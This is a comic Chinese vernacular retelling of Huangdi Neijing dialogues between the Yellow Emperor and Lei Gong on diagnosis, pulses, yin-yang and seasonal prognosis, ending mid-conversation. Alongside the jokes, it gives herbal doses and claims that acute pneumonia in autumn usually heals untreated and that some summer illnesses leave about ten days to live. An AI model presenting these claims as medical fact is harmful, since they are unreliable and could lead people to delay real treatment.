雷公，站在大殿之上，面对着威严的黄帝，开始了一场关于医术的深刻探讨。雷公老兄一脸诚恳地说：“陛下，您听我说啊，咱们学医的，书上写的都是按照经络理论来治病，理论上讲都能达到十成的效果。但实际操作中嘛，总有那么些不尽如人意的时候，您要是想听，我就给您掰扯掰扯这背后的门道。” 黄帝一听，眉头微挑，带着几分戏谑地说：“哦？雷公啊，你这是觉得自己年轻，经验不足呢？还是想说，医术这东西，得靠点‘杂学’来凑数？要知道，人体那十二条正经，加上密密麻麻的三百六十五条络脉，就像是城市里的主干道和小巷子，大家都心知肚明，医生们也是天天在这些路上转悠。那么，为啥有时候治病效果不那么完美呢？” 雷公一听，连忙摆手，笑道：“陛下英明，这其中的奥妙，可不止是认路那么简单。您想啊，咱们治病，就像是打游戏闯关，得全神贯注，心无旁骛。可有时候，医生自己心里头的小九九多了，精神不集中，意志不坚定，就像是打游戏时分心看美女直播，那还能打出好操作来吗？内外一失衡，治疗起来自然就容易出岔子了。” “再说了，诊病的时候，得懂阴阳，明顺逆，这就像是在解一道复杂的数学题，得知道哪个是加号，哪个是减号，不然一加一都能给你算成三。咱们中医讲究的是阴阳平衡，如果连这最基本的道理都摸不透，那治疗起来，不就跟盲人摸象似的，能不出错吗？” 说到这里，雷公话锋一转，开始用现代语言给大伙儿解释起来：“比如说啊，咱们现在说的‘足三里’穴，那可是个养生大穴，相当于身体的‘充电宝’，能调理脾胃，增强免疫力。但你要是找不准位置，或者手法不对，那就像是给手机充电用错了充电器，不仅充不进去，还可能把手机给充坏了。” “还有啊，咱们中医的方剂，那更是讲究。比如经典的‘四君子汤’，人参、白术、茯苓、甘草，这四味药，每一样都是精挑细选，比例得当，才能发挥出健脾益气的功效。换算成现代计量，大概就是人参9克，白术9克，茯苓9克，甘草6克，这就像是做菜的调料，多一分则咸，少一分则淡，得刚刚好才行。” “至于脉象嘛，那就更玄妙了。咱们中医把脉，就像是跟身体对话，通过脉搏的跳动，感知身体的喜怒哀乐，寒热虚实。比如滑脉，就像是摸到了滚动的珠子，一般代表体内有痰湿或者有孕在身；而弦脉呢，则像是绷紧的琴弦，多见于肝胆病或者疼痛。这脉象啊，就像是身体的情绪表达，你得用心去聆听，才能读懂它的语言。” 说到这里，雷公顿了顿，脸上露出了几分得意：“所以啊，陛下，医术这东西，看似简单，实则深奥。要想做到十全十美，那可得是精神专注，意志坚定，内外兼修，还得不断学习，积累经验。毕竟，咱们医生可是要跟死神抢人的，没点真本事怎么行？” 雷公又说：想当年，有那么一群小伙伴，满腔热血地拜了名医为师，本想着学成归来，悬壶济世，成为江湖上人人称颂的“神医”。结果呢？嘿，这学艺之路啊，比西天取经还难！他们啊，就像是学驾照只练到科目二就急着上路的新手司机，对医术一知半解，就敢开方抓药，那场面，简直比乱炖还混乱。 他们不满足于正常学医的道路，非得搞点“独门秘籍”，自创一派，号称能“起死回生”，实则不过是些花拳绣腿，误人误己。 这些“神医”啊，特别喜欢给自己的疗法起些高大上的名字，比如“乾坤大挪移针法”、“九转还魂丹”，听起来就像是武侠小说里的绝学，实则可能就是随便扎几针，再卖点掺了面粉的“灵丹妙药”。他们还会四处宣扬：“我这针法，能打通你的任督二脉，让你内力大增！”至于实际效果嘛，估计也就跟做了个深度按摩差不多，但收费嘛，那可就是天价了。 更过分的是，他们还会随意更改穴位名称，比如把“涌泉穴”（位于足底前部凹陷处，第二、三趾趾缝纹头端与足跟连线的前三分之一处）说成是“金泉穴”，说是能“引金入体，百毒不侵”。结果呢？病人按他们的指示一顿猛按，除了脚底板疼，啥变化也没有，还以为是自己修行不够，得继续“氪金”升级呢。 咱们说这“不适贫富贵贱之居，坐之薄厚，形之寒温”，听起来玄乎，其实用咱们现代话来说，就是医生得学会“看人下菜碟”，但这里的“看人”可不是势利眼，而是得根据病人的生活环境、经济状况来调整治疗方案。比如，富人家里暖气足，冬天穿貂皮大衣，你给他开一堆清热解毒的药，那不得凉上加凉，病情加重嘛！反过来，穷人家可能连双暖和的鞋子都没有，你再让他吃寒性药，那就是雪上加霜了。所以，医生得像个细心的侦探，先摸清患者的“生活背景”，再对症下药，这才叫高明。 再来说说“坐之薄厚，形之寒温”，这讲的是病人的体质和当前的身体状况。想象一下，你去医院，医生不问你冷不冷、热不热，直接开方子，那不是瞎胡闹嘛！就像咱们冬天里吃火锅，热气腾腾的，要是来个感冒的朋友，直接让他坐窗边吹风，再给他上一碗冰镇饮料，那不得病上加病？医生得通过观察病人的衣着、面色、手脚温度，来判断他是需要捂汗还是散热，是得温补还是清火，这样才能精准治疗。 接下来，“不适饮食之宜，不别人之勇怯”，这又是啥意思呢？简单说，就是医生得了解病人的饮食习惯和心理素质。有的人爱吃辣，有的人偏爱清淡，你得根据他的口味来调整药膳；还有的人，胆子小，一听说要动手术，吓得吃不下睡不着，这时候，医生就得先给他做做心理建设，告诉他：“别怕，咱这是微创，比蚂蚁咬一口还轻呢！”毕竟，心情愉悦也是治病的一剂良药嘛。 至于“不知比类，足以自乱，不足以自明”，这简直就是医生界的“大忌”。咱们中医讲究的是“同病异治，异病同治”，得会举一反三，灵活变通。比如，两个病人都咳嗽，但一个是因为风寒，一个是因为肺热，你要是都开同一种止咳药，那不是乱弹琴嘛！医生得学会把各种病症、脉象、舌象、病因综合起来分析，找出它们之间的相似之处和不同之处，这样才能做到心中有数，手到病除。 在古代啊，那些个医术高超的老中医们，给人看病可不是随便搭搭脉就完事儿了的。他们得像个侦探似的，先来个“案情初查”，也就是咱们现在说的问诊。可偏偏有些人呢，一上来就直接“把脉大赛”，咔嚓一下，手指头往你手腕上一搭，就开始滔滔不绝，好像已经把你五脏六腑都看透了似的。但您听听这段古话，说的是啥：“诊病不问其始，忧患饮食之失节，起居之过度，或伤于毒？不先言此，卒持寸口，何病能中？妄言作名，为粗所穷。此治之四失也。” 哈哈，这话翻译成咱们大白话，那就是： “嘿，大夫啊，您看病可不能跟盲人摸象似的，上来就摸脉。得先问问病人，最近是不是心里头有啥过不去的坎儿，愁得跟啥似的？吃饭是不是没规律，胡吃海塞或者饿着肚子？晚上熬夜追剧打游戏，白天又跟床有仇似的起不来？还有啊，有没有不小心吃了啥不该吃的东西，或者被啥小虫虫、细菌给偷袭了？这些都不问清楚，光凭一只手在手腕上‘跳格子’，您说是斗地主呢还是看病呢？这样随便下个结论，说是啥病就是啥病，那不成了瞎猫碰死耗子了嘛！这种粗心大意的治疗方法，简直就是医疗界的‘四大不靠谱’之一啊！” 您瞧，这话说得多接地气儿，多幽默！咱们现在就把这段古训展开来，聊聊为啥问诊这么重要，以及它背后的那些学问。 首先，说说“忧患饮食之失节”。现代人生活节奏快，压力大，心里头那点事儿啊，跟走马灯似的转个不停。忧愁、焦虑这些负面情绪，可不光是心理上的事儿，它们还会直接影响咱们的生理健康。中医讲究“情志致病”，就是说心情不好，时间长了，身体也跟着遭殃。比如，长期忧郁可能导致肝气郁结，进而影响脾胃功能，出现食欲不振、消化不良等问题。所以，大夫问诊时，得像个知心大哥或大姐似的，耐心听听你的心声，帮你排解排解。 再来说说“起居之过度”。这年头，熬夜加班、通宵打游戏、刷剧到天明的朋友可不少。晚上不睡，早上不起，生物钟乱成一锅粥。中医讲究“日出而作，日落而息”，顺应自然规律生活，身体才能健康。过度熬夜会耗伤阳气，导致免疫力下降，各种小毛病就找上门来了。大夫问诊时，了解你的作息习惯，就是在帮你找病根呢！ “或伤于毒”，这个“毒”啊，不光指咱们平时说的有毒物质，还包括一切对身体有害的因素，比如细菌、病毒、环境污染、药物副作用等等。现代人接触到的“毒”源可多了，一不小心就可能中招。大夫问你最近有没有接触过啥不寻常的东西，或者吃过啥新药，就是在帮你排查这些潜在的“敌人”。 至于“寸口”，那可是中医把脉的宝地，位于手腕内侧，也就是咱们常说的“脉门”。中医通过感受这里的脉象，可以推断出人体的气血状况、脏腑功能等。但记住哦，脉象只是诊断的一部分，不能单凭脉象就下结论。就像做菜一样，食材、调料、火候都得恰到好处，才能做出美味佳肴。看病也是同理，问诊、望诊、闻诊、切诊（把脉）四诊合参，才能做出准确的诊断。 说到看病这事儿，那可是门大学问，得悠哉游哉地品，像品茶一样。你往那儿一坐，俩手轻轻往患者手腕上一搭，嘿，这可不是闹着玩儿的，得精准到每一个“脉门”（咱们现代点儿说，就是寸关尺三部九候）。要是连这五大脉象（咱们可以想象成是生命的五条高速路：浮、沉、迟、数、缓）都摸不准，那病人身上的百种不舒服，你可就得自个儿懊恼了，还怪不到老师傅头上去，毕竟，手艺不精，怨不得人啊！ 说到这治病的门道，简直就是一场智慧与耐心的较量。有的人呢，治病不按套路出牌，把祖传的医术丢到菜市场当白菜卖，乱枪打鸟，偶尔撞上个好运气的，病好了，他还自鸣得意，以为自己成了神医华佗再世。哎，我说哥们儿，您那纯属瞎猫碰上死耗子，得意啥呢？ “窈窈冥冥”，这四个字，听着就跟修仙似的，说的不就是那医学之道的深邃与奥妙吗？医学之道，大得能跟天地比肩，广得能跟四海相配。你要是不懂这其中的门道，那可就真是明珠暗投了，明明是光明的智慧，到你手里愣是成了个谜。 来来来，咱们把话儿往开了说，说点接地气的。您知道吗？中医讲究的是“望闻问切”，这“切”啊，就是咱们前面说的摸脉。现在咱们不讲那么深奥，就用大白话聊聊。你想啊，如果医生摸脉就像摸黑找钥匙孔，那病人得多着急啊！所以啊，咱们得把脉摸得门儿清，才能对症下药。 比如说，你摸到那脉啊，轻轻一碰就像小河流水似的，滑溜溜的，那就是“浮脉”，多半儿是感冒了，得发散风寒，整点儿姜汤喝喝，暖身又暖心。再比如说，你使劲儿按下去，感觉那脉深得像井底之蛙，半天不动弹，那就是“沉脉”，可能是气血两虚了，得炖点当归黄芪鸡汤补补身子。 还有啊，说到方剂，那可真是个大学问。古时候的医生，那是“一手好字，二会双簧，三指脉诊，四季药箱”。咱们就拿个简单的方子来说——桂枝汤。这可不是简单的几根树枝煮水哦，它可是治疗风寒感冒的良药。配方是：桂枝9克（象征九九归一，希望病情一次就好），白芍9克（和桂枝搭配，一阴一阳，调和营卫），甘草6克（调和诸药，像个大管家），生姜9克（暖胃散寒），大枣12枚（补脾益气）。这几味药加起来，既温又补，还不燥，就像是一群小伙伴手拉手，齐心协力把病魔赶跑。 当然了，治病这事儿，光有药方还不够，还得有爱心和耐心。你得像哄孩子一样哄着病人吃药，告诉他们：“嘿，这可不是普通的药水，这是神仙水，喝了它，保管你活蹦乱跳！”这样一来，病人心情好了，病也就好得快了。 最后啊，我想说，医学之道，真的是既深奥又有趣。它不仅仅是书本上的知识，更是医生与病人之间心与心的交流。咱们得用心去学，用心去治，才能让这门古老的智慧在现代社会发光发热，让更多的人受益。毕竟，谁还没个小病小痛的呢？咱们多学点医学知识，不仅自己能照顾好自己，还能在关键时刻伸出援手，帮助别人。这不就是咱们常说的“赠人玫瑰，手有余香”嘛！ 阴阳类论篇第七十九（一） 古色古香的宫廷内，春意盎然，桃花盛开。黄帝悠然自得地坐在龙椅上，手里拿着把扇子，眼神却穿透了宫墙，仿佛在看遍天下万物。一旁，雷公正毕恭毕敬地站着，准备接受“灵魂拷问”。 黄帝笑眯眯，带点调皮地说：“嘿，雷公啊，这孟春一到，万物复苏，我这心里头啊，也跟着热闹起来。你看，我这不正坐这儿，眼观六路，耳听八方，感受着八面来风嘛。突然就想问问你，咱们中医这博大精深的学问里，阴阳五行、经脉穴位，还有五脏六腑，你说说，哪个脏器最金贵，最得咱们呵护？” 雷公一本正经，胡子微颤道：“哎呀，陛下这一问，可是问到点子上了。您看，春天对应甲乙，五行属木，颜色为青，这不正是肝的季节嘛！肝呢，主宰七十二日之春，是这段时间脉象的主宰。所以啊，要我说，肝，那可是咱们身体里的vip，尊贵得很！” 黄帝故作惊讶，扇子一扇道：“哦？肝成了vip了？嘿，雷公啊，你这可是有点偏心眼了。来来来，咱们再复习复习《黄帝内经》上下篇，讲讲阴阳平衡的艺术。你说肝最贵，那我得跟你掰扯掰扯，这事儿可没那么简单。” 黄帝站起身来，开始在宫殿里踱步，雷公紧跟其后，一场“谁最贵”的辩论赛即将上演。 黄帝边走边讲，语气中带着几分幽默：“你想啊，咱们人体啊，就像个精密的机器，每个零件都至关重要。心呢，是发动机，泵血不息，没有它，咱们就得‘停摆’；肺呢，是换气站，吸进氧气，排出废气，没了它，咱们就成了‘憋气王’；脾呢，是营养师，运化水谷，化生精微，缺了它，咱们就得‘营养不良’；肾呢，是能量库，藏精纳气，调节水液，少了它，咱们就得‘肾虚公子’了。这么说来，肝虽然是解毒高手，调节情志，但也不能独揽‘最贵’的桂冠吧？” 雷公挠挠头，笑得有些憨厚：“陛下言之有理，是臣疏忽了。不过话说回来，肝这脏器，它独特啊！它不仅能疏泄气机，让人心情舒畅，还能藏血，保证咱们身体各个角落都能得到血液的滋养。更重要的是，肝主筋，咱们平时运动、干活，全靠筋的弹性，肝不好，人就容易‘疲软’，您说，这不是也挺关键的？” 黄帝停下脚步，拍了拍雷公的肩膀，笑得开怀：“哈哈，雷公啊雷公，你这是在给肝打广告呢！不过，你说得没错，肝确实是重要，但咱们中医讲究的是整体观，五脏六腑，一个都不能少，它们之间相互依存，相互制约，就像一支和谐的乐队，少了谁，曲子都不完整。” 黄帝突然话锋一转，变得严肃起来：“所以啊，咱们医者，治病救人，不能只盯着一个脏器看，得全面考虑，辨证施治。就像咱们平时吃饭，不能光吃肉不吃菜，得荤素搭配，营养均衡，身体才能棒棒的！” 雷公点头如捣蒜，一脸敬佩地说：“陛下说得极是，臣受教了！看来，咱们中医之道，还真是博大精深，每一处都藏着学问，每一处都值得咱们去探索、去敬畏。” 两人相视一笑，气氛变得轻松愉快起来。 黄帝扇子一挥，笑道：“好了，雷公，今日这一番讨论，也算是咱们春日里的一场雅集了。记住，无论哪个脏器，都是咱们身体的宝贝，要好好爱护。咱们中医，就是要让每一个生命都能绽放出最灿烂的光彩！” 雷公陪黄帝坐了七天，天天听黄帝讲医道，耳朵都快长茧子了。第七天一大早，雷公又屁颠屁颠地跑去侍坐，准备继续接受知识的洗礼。 黄帝悠悠地开了口：“雷公啊，你知道吗？三阳是经脉的大道，二阳呢，就像是经络的维护者，那一阳嘛，就像是到处溜达的巡逻队。这三阳、二阳、一阳啊，其实就是咱们身体五脏六腑运行规律的缩影。” 雷公一听，心里嘀咕：“这都啥跟啥呀？三阳二阳一阳的，听起来就像是西游记里的妖怪组合。”但面上还是恭恭敬敬地说：“师父，我这学业还没精进呢，您这高深莫测的话，我还得多琢磨琢磨。” 黄帝一看雷公那迷茫的小眼神，就知道这家伙又没跟上节奏，于是耐心地解释道：“来来来，咱们一个一个说。三阳啊，指的就是太阳经，这太阳经的脉象要是到了手太阴肺经的位置，摸起来就像是琴弦一样浮在表面，不往下沉。这时候啊，你就得用心去感受，用你学过的阴阳理论去分析，这样才能判断准确。” 雷公心想：“这太阳经还挺会表演的，跟琴弦似的，就不知道弹起来是啥音儿。”但他没敢说出来，只是默默点头。 黄帝接着说：“二阳呢，就是阳明经。阳明经的脉象要是到了手太阴肺经，那就是弦中带着沉，还有点急促，像是要蹦跶出来，但又没那个劲儿。这种情况要是再遇上热病，那可就不妙了，基本上就是凶多吉少。” 雷公一听，吓得一激灵：“这阳明经也太有个性了吧，简直就是脉象中的刺头！” 黄帝笑了笑，继续说：“一阳嘛，就是少阳经。少阳经的脉象要是到了手太阴肺经，那可是要上天的节奏啊！它会一直往上窜，连到人迎穴那里，弦得跟紧绷的弓弦似的，还悬在那里不断。这种情况要是再持续下去，那就是少阳经出大问题了，要是再碰上阴虚，那可就真的玩完了。” 雷公听得一愣一愣的，心想：“这少阳经简直就是脉象界的窜天猴啊！”但他还是乖乖地点头，表示自己已经明白了。 黄帝看雷公这次没提出什么奇怪的问题，心中暗自欣慰，于是接着往下讲：“三阴呢，可是六经的老大，它跟太阴经那是交情深厚，交会在一起。三阴的脉象要是摸起来，就像是藏在底下的小鼓，不浮在表面，但你要是用心去感受，就能发现它其实是在那里默默发力的。这种脉象要是出现，那就说明你的心志可能受到了影响，得小心为上。” 雷公心想：“这三阴脉还挺低调的，跟潜伏的特工似的。”但他没敢打扰黄帝的讲解，只是静静地听着。 黄帝又说：“二阴嘛，跟肺经那是亲戚，它的气会归到膀胱经那里，跟脾胃也是关系密切。要是二阴的脉象单独出现，那就说明经络可能不通了，气就会浮在表面，摸起来就像是钩子一样钩着，还滑溜溜的。” 雷公听得直点头，心想：“这二阴脉就像是脉象界的社交达人，关系网还挺复杂的。” 黄帝看雷公这次似乎真的听进去了，于是总结道：“这六脉啊，就像是阴阳世界的使者，一会儿阴一会儿阳的，交错在一起，相互关联。它们就像是身体的情报员，把五脏六腑的情况都汇报给阴阳大神。谁先到，谁就是主角；谁后到，谁就是配角。咱们诊脉啊，就是要从这些脉象中找出线索，判断身体的情况。” 雷公听完，终于松了一口气：“师父，您这课讲得真是太精彩了！我这回算是明白了，原来这脉象里还有这么多门道呢！” 黄帝一看雷公这恍然大悟的样子，心里也是美滋滋的：“这小子，总算是开窍了。” 不过，要是让黄帝知道雷公心里其实是在想：“这脉象世界简直就是一部宫斗剧啊！三阳、二阳、一阳是争宠的妃子，三阴、二阴、一阴是背后的宫斗高手，而黄帝您呢，就是那高高在上的皇上，掌控着这一切。”那他估计得气得胡子都翘起来。 *。有一天，雷公恭恭敬敬地站在黄帝面前，一脸诚恳地说：“陛下啊，我可是使出了吃奶的劲儿，把那些经脉的知识都学到手了，讲起来也是头头是道，感觉自己都快成‘从容大师’了。但话说回来，我这心里啊，还是有点儿不踏实，对于阴阳、雌雄这些高深莫测的东西，我还是有点儿懵圈。” 黄帝一听，哈哈一笑，心想：这雷公啊，医术虽高，但在阴阳理论上还是个“小白”呢！于是，黄帝决定给雷公上一堂生动的“阴阳课”。 黄帝清了清嗓子，故作神秘地说：“来来来，雷公啊，听我给你讲讲这阴阳的奥秘。咱们中医啊，讲究的就是阴阳平衡。你看那三阳，就像是家里的老爸，威严、稳重，是家里的顶梁柱，守护着全家的安全，对应的就是咱们身体里的阳气最旺盛的部分，比如那热情似火的太阳经。二阳呢，就像是家里的保镖，时刻准备着保护家人，对应的就是阳明经，它可是咱们身体的‘卫士’，抵御着外来的病邪。一阳嘛，就像是家里的记事本，记录着家里的大事小情，对应的就是少阳经，它负责协调身体各部分的工作，是个不可或缺的‘纪律委员’。” 雷公一听，眼睛瞪得圆圆的，心想：这阴阳还能跟家里的事儿扯上关系？真是太神奇了！ 黄帝见雷公听得入迷，便接着往下说：“再来说说这三阴吧。三阴就像是家里的老妈，温柔、细心，照顾着全家人的饮食起居，对应的就是太阴经，它可是咱们身体的‘营养师’，负责给身体提供充足的营养。二阴呢，就像是家里的女儿，温柔、娇羞，对应的就是少阴经，它就像是身体的‘小棉袄’，在关键时刻给身体带来温暖。一阴嘛，就像是家里的信使，负责传递家里的消息，对应的就是厥阴经，它可是个‘独行侠’，在身体里独当一面，负责调节身体的各种微妙变化。” 雷公一听，忍不住笑了起来，心想：这黄帝真是个奇才，居然能把阴阳理论讲得这么生动有趣！ 黄帝见雷公笑得开心，便趁机问道：“雷公啊，你现在明白这阴阳、雌雄的奥秘了吗？” 雷公连忙点头，一脸敬佩地说：“大帝啊，您这一讲，我可是茅塞顿开啊！原来这阴阳、雌雄就是咱们身体里的‘家庭关系’，它们相互配合、相互制约，才能让咱们的身体保持健康啊！” 黄帝一听，哈哈大笑，心想：这雷公啊，虽然医术高超，但在这阴阳理论上还是个“小学生”呢！不过嘛，能让他这么快就明白阴阳的奥秘，也算是我的一番苦心没有白费啊！ 说到这里，咱们不妨再聊聊这阴阳理论在中医里的重要性吧。中医啊，讲究的就是“天人合一”，认为人的身体与自然界是密切相关的。而阴阳呢，就是自然界中最基本的两种物质和能量状态。阳代表光明、温暖、积极、向上的力量；阴则代表黑暗、寒冷、消极、向下的力量。在咱们身体里啊，阴阳也是无处不在的。比如那阳气啊，就像是身体里的小太阳，给身体提供着温暖和活力；而阴气呢，就像是身体里的润滑油，让身体的各个部分都能顺畅地运转。 所以啊，要想身体健康啊，就得保持阴阳平衡。要是阳气太盛了，身体就会像个小火炉一样，烧得受不了；要是阴气太盛了，身体就会像块冰一样，冷得直打哆嗦。所以啊，咱们得根据身体的状况来调理阴阳，让身体保持在一个舒适、健康的状态。 说到这里啊，我突然想到了一个笑话。有一天啊，一个中医朋友跟我说：“你知道吗？我这人啊，最会的就是‘调和阴阳’了。”我一听就愣住了，心想：这调和阴阳可是个大活儿啊，你怎么这么轻松就说出来了？结果他一笑，说：“我这人啊，最会的就是劝架了！你看啊，家里要是有人吵架了，我就赶紧过去劝劝，让他们别吵了，这不就是‘调和阴阳’嘛！”我一听就笑喷了，心想：这中医啊，还真是无处不在啊！ 阴阳类论篇第七十九（二） 黄帝开始跟雷公聊起了深奥的中医阴阳理论。他清了清嗓子，缓缓说道：“嘿，雷公，你知道吗？这二阳一阴啊，说的是阳明这个大佬当家做主的时候，但要是它斗不过那一阴，那可就有好戏看了！就像个软脚虾似的，连带着咱们的九窍，哦不对，是身体的九个重要通道，都会变得懒洋洋，提不起劲来。” 雷公一听，立马来了精神，围了上来，心想：这黄帝今儿个是要开讲段子吗？黄帝一看雷公这么捧场，心里乐开了花，继续他的爆笑讲解。 “来来来，咱们再看这个三阳一阴。这太阳脉要是牛气冲天，一阴哪里挡得住啊？它就像个疯牛闯进了瓷器店，五脏六腑都被它搅得翻天覆地，外面的人呢，一看这架势，吓得那叫一个魂飞魄散，简直是心惊胆战，夜夜难眠啊！”黄帝一边说，一边还比划着，仿佛真的看到了那场面，逗得大家哈哈大笑。 “还有啊，这二阴二阳，听着就像是一对欢喜冤家。它们要是杠上了，那肺可得倒霉了。少阴脉沉下去，就像个深藏不露的高手，暗地里给肺来了个措手不及，肺呢，只能眼泪汪汪地看着自己的小弟——脾，也跟着遭殃。这还不算完，它们还得跑到四肢去捣乱，让人家手脚都跟着受罪。”黄帝越说越起劲，雷公听得也是津津有味，时不时还爆发出阵阵笑声。 “更绝的是这个二阴二阳都交到了的情况，那可是病在肾啊！你们知道这意味着什么吗？这意味着这个人啊，可能会变得跟泼妇骂街似的，骂骂咧咧，胡言乱语，甚至还得上巅狂症，成了个彻头彻尾的疯子！哎呀妈呀，这阴阳一乱套，还真是啥事儿都可能发生啊！”黄帝说完，自己先忍不住笑了起来，雷公更是笑得前仰后合，差点没岔气。 “来来来，咱们再看看这个二阴一阳。这病啊，是从肾里冒出来的。阴气呢，就像个不速之客，跑到心脘那里去串门儿。这一串门儿可好，把下面的空窍都给堵上了，就像个调皮的孩子把下水道给堵了似的，你说这得多糟心？结果呢，四肢也跟着倒霉，感觉就像是被分家了一样，互不搭理。”黄帝边说边摇头晃脑，仿佛真的看到了那场面，逗得大家又是一阵爆笑。 “哎呀，这还没完呢！要是这一阴一阳玩起了代绝的游戏，那可就更热闹了。这阴气要是跑到了心里头，那可真是上天下地无所不能啊！它一会儿上，一会儿下，出出入入全凭心情，搞得咱们喉咙都跟着遭罪，干得跟旱地似的。这病啊，其实是出在脾这个老实巴交的家伙身上。你看它平时不言不语，关键时刻却得替别人背锅，真是可怜又可悲啊！”黄帝说完，还不忘同情地拍了拍自己的肚子，仿佛在说：“看你这脾，也得小心点儿哦！” 雷公一听这话，更是笑得东倒西歪，一会拍着桌子，一会捂着肚子，接着直接躺在地上打滚。黄帝一看这气氛，心里那叫一个美啊！他知道自己今天的段子讲成功了！ “来来来，咱们继续啊！这二阳三阴啊，可是个复杂的组合。至阴都在这儿呢，它们就像是个大家庭里的几个孩子，各有各的脾气。这阴气要是太过分了，阳气可就得生气了；阳气要是太霸道了，阴气也得哭了。结果呢？它们俩一生气，就干脆不干了！阴阳并绝啊！这可是个大问题！浮上来的就成了血瘕，沉下去的就成了脓胕。哎呀妈呀，这身体里头可真是啥事儿都可能发生啊！”黄帝说完，还不忘做了个夸张的表情，仿佛真的看到了那血瘕和脓胕似的。 “最后啊，咱们得说说这阴阳皆壮的情况。这可是个难得的平衡状态啊！它们就像是一对恩爱夫妻，上上下下、里里外外都配合得天衣无缝。你看这上面呢，昭昭然如日月之光；下面呢，冥冥然如深渊之静。这可真是达到了天人合一的境界啊！要是咱们能诊出这样的脉象来，那可真是要恭喜人家了！因为这预示着人家身体倍儿棒、吃嘛嘛香、长命百岁啊！”黄帝说完，还不忘做了个恭喜发财的手势，逗得雷公又是一阵爆笑。 “不过啊，话又说回来。咱们中医看病啊，可不仅仅是为了看病而看病。咱们得找出病因、病位、病性来，这样才能对症下药、药到病除啊！就像这阴阳理论一样，它虽然深奥难懂，但要是咱们掌握了它、运用了它，那看病可就得心应手多了！所以啊，大家可得好好学学这阴阳理论哦！说不定哪天你们也能成为一代名医呢！”黄帝说完，还不忘鼓励雷公一番。 雷公对啥都好奇，特别是对黄帝那套神秘兮兮的医术和预测未来的能力，简直是崇拜得五体投地。有一天，他鼓起勇气，决定向黄帝请教一个超级大问题——“短期”预测，说白了就是想知道啥时候人会“挂掉”。 雷公：嘿，陛下，我有个问题想问您，就是关于那个……嗯……短期的，您懂吗？ 黄帝一脸淡定地回答：哦，短期啊，这事儿吧，都在咱的经论里头写着呢。 雷公一脸茫然道：经论？那玩意儿太高深了，您就不能直接告诉我吗？ 黄帝无奈地叹了口气，说道：好吧，既然你这么执着，那我就给你讲讲。不过，你得先答应我，听完之后别吓得尿裤子。 雷公拍着胸脯保证：放心，我雷公可是见过大场面的，啥风浪没见过！ 黄帝点了点头，继续说道：行，那咱就从冬天开始说起吧。冬天啊，那可是个“收藏”的季节，万物都沉寂了，连细菌病毒都躲起来冬眠了。但是呢，如果你在冬天得了病，而且还是那种阳气过剩的病，比如发烧烧得跟火炉似的，那你可得小心了。因为到了春天的正月，你的脉象可能会出现“死徵”，也就是死亡的征兆。为啥呢？因为冬天阳气该藏不藏，春天阳气该发不发，这一来二去的，身体就乱套了，就像你过年吃多了饺子，胃受不了了一样。所以啊，这种冬天的病，如果拖到春天还没好利索，那就危险了，基本上可以准备准备，迎接春天的“新生”了，不过这次可不是生命的开始，而是……你懂的。 雷公听得一愣一愣的：哇，这么玄乎！那冬天得的病，还有啥说法不？ 黄帝接着说道：当然有啦。如果冬天得的病，已经严重到伤及根本，就像一棵树被虫蛀得只剩下树皮了，那到了春天，草和柳叶都开始发芽生长了，你的病却还是毫无起色，那就说明你的阴阳之气都已经枯竭了。这时候，你的“大限”就差不多在春天的第一个月，也就是孟春的时候到了。所以啊，冬天还是要好好保养身体，别等到春天才后悔莫及啊！ 雷公点头如捣蒜：对对对，我一定好好保养，绝不让病魔有机可乘！ 黄帝又接着说：嗯，这就对了。那咱再来说说春天吧。春天啊，那可是个“生发”的季节，万物复苏，连你家的猫咪都开始发情了。但是呢，如果你在春天得了病，而且还是那种阳气过盛，阴阳失衡的病，比如急性肝炎啥的，那可就糟糕了。因为这时候你的阳气过于亢进，阴气却跟不上节奏，就像你打游戏一直连胜，结果突然遇到个大神把你虐得不要不要的，心态一下子就崩了。所以啊，这种春天的病，如果阴阳之气都断了联系，那就像你的手机没电了一样，基本上就宣告“gameover”了，时间嘛，大概就在草都晒干的时候。 雷公笑得前仰后合道：陛下，您这比喻真是太生动形象了！那夏天呢？夏天得病会不会好点？ 黄帝清了清嗓子，喝了一口茶，继续说道：夏天啊，那可是个“旺盛”的季节，万物都长得飞快，连你家的蚊子都多得能组成一个空军部队了。但是呢，如果你在夏天得了病，而且还是那种至阴的病，比如寒症啥的，那你可得小心了。因为这种病就像夏天的冰淇淋一样，虽然看着挺诱人，但吃多了可是会拉肚子的。所以啊，如果你在夏天得了这种病，而且还没能得到及时的治疗，那基本上就只剩下十天的寿命了。为啥呢？因为夏天阳气太盛，阴气太弱，你这至阴的病一进来，就像一块冰掉进了火锅里，瞬间就融化了，你的身体也受不了这种刺激，很快就垮掉了。当然啦，如果你运气好，遇到了阴阳交合的情况，那可能还能多撑一会儿。不过呢，这时候你的状态就像喝了假酒一样，站都站不稳，坐都坐不直，基本上也是离“领盒饭”不远了。 雷公笑得眼泪都出来了：黄帝大大，您这比喻真是太绝了！那秋天呢？秋天得病会不会好点？ 黄帝接着说：秋天啊，那可是个“收获”的季节，万物都成熟了，连你家的苹果树都挂满了红彤彤的果子。但是呢，如果你在秋天得了病，而且还是那种三阳俱起的病，比如急性肺炎啥的，那你也别太担心。因为这种病虽然看起来挺吓人的，但实际上就像秋天的落叶一样，虽然会掉一地，但树还是好好的。所以啊，如果你在秋天得了这种病，而且还没能得到及时的治疗，那也没关系，因为你的身体有足够的阳气来对抗它，基本上不治也能自己好。当然啦，前提是你得是个“小强”级别的体质才行。 雷公一脸崇拜地望着黄帝：陛下，您真是太厉害了！那阴阳交合又是咋回事呢？ 黄帝慢悠悠地说道：阴阳交合啊，那可是个“复杂”的问题。简单来说呢，就是阴阳之气在体内打架，谁也不服谁。就像你老公和你妈吵架一样，你帮谁都不是，只能干瞪眼。所以啊，如果你在生病的时候出现了阴阳交合的情况，那就说明你的身体已经乱成一锅粥了。这时候你的状态就像喝了迷魂汤一样，站都站不稳，坐都坐不直，基本上也是离“挂掉”不远了。不过呢，这种情况还是比较少见的，毕竟阴阳之气在体内打架也是需要体力的嘛。 雷公笑得肚子都疼了：陛下，您这比喻真是太逗了！那三阳独至和二阴独至又是咋回事呢？ 